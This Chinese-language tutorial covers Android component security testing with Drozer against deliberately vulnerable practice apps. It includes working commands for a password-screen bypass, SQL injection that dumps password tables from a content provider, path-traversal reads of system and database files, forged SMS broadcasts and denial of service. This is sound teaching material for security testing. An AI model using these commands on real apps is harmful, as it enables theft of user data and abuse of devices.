參考文章
Android 安全測試框架 Drozer-使用篇
Android四大組件
Android暴露組件——被忽略的組件安全
APP下載
前提知識
AndroidManifest.xml
AndroidManifest.xml 文件是整個應用程序的信息描述文件,包含了 APP 的配置信息。
其功能主要有:
- 命名應用程序的 java 包,這個包名將用來唯一標識這個應用程序。
- 描述了應用程序中包含的 Activity、Service、ContentProvider和 BroadcastReceiver 組件
- 定義了應用程序運行的進程
- 聲明了應用程序需要訪問受限 API 所需的權限
- 聲明其他程序如果希望訪問本程序組件所需要的權限
- 聲明應用程序能夠正常運行所需要的最小級別的 OpenAPI
- 列出應用程序運行所需要連接的庫
其中,我們重點關注的就是聲明的組件信息,也就是下方 <application>
內的信息
<?xmlversion="1.0"encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.sample.teapot" android:versionCode="1" android:versionName="1.0.0.1" >
<uses-permission android:name="android.permission.INTERNET"/>
<application android:allowBackup="true" android:debuggable="true">
<activity android:label="@string/app_name" android:name=".activities.Main">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<provider android:exported="false" android:name=".DBContentProvider">
<grant-uri-permission android:pathPattern=".*"/>
</provider>
<receiver android:label="Send SMS" android:name=".broadcastreceivers.SendSMSNowReceiver">
<intent-filter>
<action android:name="org.owasp.goatdroid.fourgoats.SOCIAL_SMS"/>
</intent-filter>
</receiver>
<service android:name=".services.LocationService">
<intent-filter>
<action android:name="org.owasp.goatdroid.fourgoats.services.LocationService"/>
</intent-filter>
</service>
</application>
</manifest>
對於四種組件,需要關注的點就是 是否允許其他應用隨意調用
-
android:exported 屬性
該屬性指明了是否支持其它應用調用當前組件。
Activity、Service、Broadcast 默認值:
如果包含有 intent-filter 默認值為 true,表示其他 Application 可調用該組件;
沒有 intent-filter 默認值為 false,表示其只能被當前 Application 或者擁有同樣 USER ID 的 Application 的調用。
Provider 默認值:
當 Android sdk 的最小版本為 16 或者更低時其默認值為 true。如果是 17 及以上的版本默認值為 false。
當組件的 android:exported="true" 時,會導致其他應用可隨意調用該組件(直接調用或者通過 action 調用),那么勢必會導致一些問題。 -
android:permission
<permission android:name="com.myself.permission.WEB" android:protectionLevel="signature"/>
<!--
定義一個 permission
其三個標簽下的屬性配置:
* name:該權限的名稱,使用該權限時通過名稱來指定使用的權限
* protectionLevel:該權限受保護的等級,很重要,主要介紹三個
* ————signature:簽名級別權限,即權限的定義方和注冊方必須具有相同的簽名才有效
* ————system:系統級別權限,即權限的定義方和注冊方必須為系統應用
* ————signatureOrSystem :同簽名或系統應用,上述二者具備其一即可
* label:一般是權限的描述
-->
<activity
android:permission="com.myself.permission.WEB"
android:name="com.test1.WebActivity">
<intent-filter>
<action android:name="com.test1.action.VIEW_URL"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
<!--
如上,在 activity 聲明時,activity 標簽下有一個 permission,通過 permission 的 name 就能指定保護該 activity 的權限
這樣,只有具有了該權限的 activity 才能啟動它,注意在定義方和使用方都要定義和聲明自定義的權限
-->
也可這樣申請調用權限
<uses-permission android:name="com.myself.permission.WEB" />
四大組件
-
activity - 活動
一個 activity 通常就是一個單獨的屏幕,是用戶操作的可視化界面。一個應用程序一般由多個 Activity 組成 -
content provider - 數據提供者
一個 content provider 類實現了一組標准的方法接口,從而能夠讓其他的應用保存或讀取此 Content Provider 的各種數據類型。通過content://contacts/people/
URI 取得數據 -
broadcast - 廣播
廣播,是一種運用的在應用程序之間傳輸信息的機制,分接收與發送 -
service - 服務
沒有用戶界面的程序,通常用作在后台處理耗時的邏輯
基本的命令
基本命令 | 作用 | 示例 |
---|---|---|
list |
列出所有模塊 | |
shell |
獲取手機 shell | |
help 模塊 |
查看具體模塊詳情/用法 | help app.package.info |
run 模塊 |
調用某個模塊 |
常用測試命令 | 作用 |
---|---|
基本語法 | run 具體命令 [-參數] |
run app.package.list |
列出所有包名(軟件) |
run app.package.info -a 包名 |
查看某個軟件(包名)的具體信息 |
run app.package.attacksurface 包名 |
查看某個軟件的攻擊面 |
run app.activity.info -a 包名 |
查看某個軟件的 activity 組件的具體攻擊面 |
run app.activity.start --component 包名 具體activity |
啟動某個 activity |
run app.provider.info -a 包名 |
查看某個軟件的 provider 組件的具體攻擊面 |
run app.provider.finduri 包名 |
列出某個軟件的 URI |
run app.provider.query content://xxxxxURI |
查看某個URI內容 |
run app.provider.query content://xxxxxURI --projection "'" |
檢測某個 URI 是否存在注入 |
run app.provider.query content://xxxxxURI --selection "'" |
檢測某個 URI 是否存在注入 |
run app.provider.query content://xxxxxURI --projection "* FROM SQLITE_MASTER WHERE type='table';--" |
針對某個 URI 進行注入 |
run app.provider.read content://xxxxxURI |
通過某個 URI 讀取文件 |
run app.provider.download content://xxxxxURI 主機目錄/文件名 |
通過某個 URI 下載文件 |
run app.service.info -a 包名 |
查看某個軟件的 service 組件的具體攻擊面 |
run app.service.start --action 某個 action |
啟動某個 service |
run app.broadcast.info -a 包名 |
查看某個軟件的 broadcast 組件的具體攻擊面 |
run app.broadcast.send -action 某個 action --extra TYPE KEY VALUE |
執行某個 broadcast 組件的 action,並傳遞參數 |
run scanner.provider.finduris -a 包名 |
尋找可訪問 URI |
run scanner.provider.traversal -a 包名 |
探測存在目錄遍歷的 URI |
run scanner.provider.injection -a 包名 |
探測存在注入的 URI |
一般測試步驟
注:測試 app sieve 是 drozer 官網提供的,測試前請提前進入 app 設置好密碼以及 pin,並添加一條記錄值
-
搜索對應軟件的包名
run app.package.list -f sieve
-
查看具體包的信息
run app.package.info -a com.mwr.example.sieve
可得到:版本號、數據目錄、權限 -
針對該包查探可能存在漏洞的攻擊面
run app.package.attacksurface com.mwr.example.sieve
得到對應安卓四大組件可能的攻擊面:- activity -- 界面
- broadcast -- 廣播
- provider -- 數據
- service -- 服務
-
查看針對 activity 界面組件具體的攻擊面
run app.activity.info -a com.mwr.example.sieve
-
針對每個 activity 攻擊面進行測試,查看 app 反應
run app.activity.start --component 包名 具體activity
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
由此可見,前兩個 activity 攻擊面並不能造成實質性的危害,但是最后一個攻擊面可繞過密碼鑒定直接進入軟件,由此便可造成用戶信息泄露
-
查看針對 provider 數據組件具體的攻擊面
run app.provider.info -a com.mwr.example.sieve
-
針對 com.mwr.example.sieve.DBContentProvider 攻擊面進行測試
- 列 URI,
run app.provider.finduri com.mwr.example.sieve
分別測試每個 URI 是否能夠訪問,drozer 提供了掃描模塊,run scanner.provider.finduris -a com.mwr.example.sieve
- 查看可訪問 URI 內容,
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
- 測試可訪問 URI 是否存在注入,
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
或者run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
同樣,drozer 提供了掃描模塊,run scanner.provider.injection -a com.mwr.example.sieve
- 注入出所有數據表,
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
- 查詢某個表中所有數據,
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
- 列 URI,
-
針對 content://com.mwr.example.sieve.FileBackupProvider 攻擊面進行測試
- 前面測試了存在注入的 URI,由於 provider 還提供文件訪問,於是可以探測目錄穿越
run scanner.provider.traversal -a com.mwr.example.sieve
- 讀文件,
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
可以根據run app.package.info -a com.mwr.example.sieve
得到的目錄信息獲取更多文件
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\Users\23098\Desktop\database.db
- 下載文件
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\\Users\\xxxx\\Desktop\\database.db
- 前面測試了存在注入的 URI,由於 provider 還提供文件訪問,於是可以探測目錄穿越
分隔線 ----- 針對 FourGoats app 測試 broatcast 與 service 組件
-
查看 FourGoats 攻擊面,
run app.package.attacksurface org.owasp.goatdroid.fourgoats
-
查看針對 broadcast 數據組件具體的攻擊面
run app.broadcast.info -a org.owasp.goatdroid.fourgoats
-
針對 broatcast 攻擊面進行測試
由於運行 broadcast 組件需要找到對應的 action,所以需要反編譯 app
打開 xml 文件查找 action(命令.\apktool_2.4.1.jar d '.\OWASP GoatDroid- FourGoats Android App.apk'
)
- 直接執行造成拒絕服務,
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
- 發送惡意廣播
反編譯 app 得到源碼為:
共需要 2 個參數,phoneNumber、message
所以:run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 666 --extra string message test
- 直接執行造成拒絕服務,
-
查看針對 broadcast 數據組件具體的攻擊面
run app.service.info -a org.owasp.goatdroid.fourgoats
-
針對 service 攻擊面進行測試(先找到對應的 action)
- 直接執行造成拒絕服務,
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService
- 直接執行造成拒絕服務,
遇到的問題
-
adb 快速導出安卓安裝包
- 查看手機中已安裝的所有 apk 文件
adb shell pm list package
- 根據要導出的 app 包名,查看 APP 安裝路徑
adb shell pm path com.DeviceTest
- 根據以上路徑導出 apk 源文件到 PC 端
adb pull /xxx/xxx/xxx.apk C:\PC路徑\desktop\
- 查看手機中已安裝的所有 apk 文件
-
使用
run app.package.list
命令無法列出所有包名,只能通過-f
參數來查找
原因:亂碼造成的錯誤
解決辦法:來到 python2 安裝目錄下的 drozer 模塊D:\software\py2\Lib\site-packages\drozer\modules\app
打開該目錄下的package.py
文件,在開頭添加
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
並修改 List 類(加兩個 u)
從此走向人生巔峰